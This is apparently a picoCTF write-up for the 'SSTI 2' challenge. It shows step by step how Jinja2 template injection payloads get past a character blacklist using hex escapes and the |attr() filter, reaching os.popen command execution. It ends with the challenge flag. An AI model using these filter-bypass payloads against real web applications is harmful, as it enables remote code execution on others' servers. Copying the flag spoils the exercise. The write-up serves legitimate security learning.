SSTI 2 (Medium)
- Challenge Link: https://play.picoctf.org/practice/challenge/488?category=1&difficulty=2&page=1
- Challenge Description: I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem.
- Hints:
- Server Side Template Injection
- Why is blacklisting characters a bad idea to sanitize input?
Solution
Similar Website from the SSTI 1, let's try some injections using bypasses from on onsecurity.
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Unfortunately, this time it's being blocked. Most likely by a Web Application Firewall that detects characters like . and __.
- request → Flask request object
- .application → Flask app object
- .__globals__ → global namespace of the app
- .__builtins__ → Python built-ins
- .__import__('os') → import os
- os.popen('id').read() → execute command
Most likely, the WAF blocked . so we must try a dictionary-style access:
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
Yet again, it gets blocked but now we know that it blocks . and _ so we can try hex coding:
\x5f → _ '__globals__' → '\x5f\x5fglobals\x5f\x5f'
But the WAF blocks ., _, [], |join so we use |attr() and this works because as we established earlier, the site uses Jinja2 and |()attr is Jinja filter which it retrieves attributes dynamically and the WAF doesn’t recognize it as attribute access, so we eliminate the need for ., _, and [].
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')
('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')
|attr('popen')('id')|attr('read')()}}
Now we know it's being run on root level on the server so like the previous challenge we replace 'id' with 'cat flag' to get our flag.
picoCTF{sst1_f1lt3r_byp4ss_e39c23ee}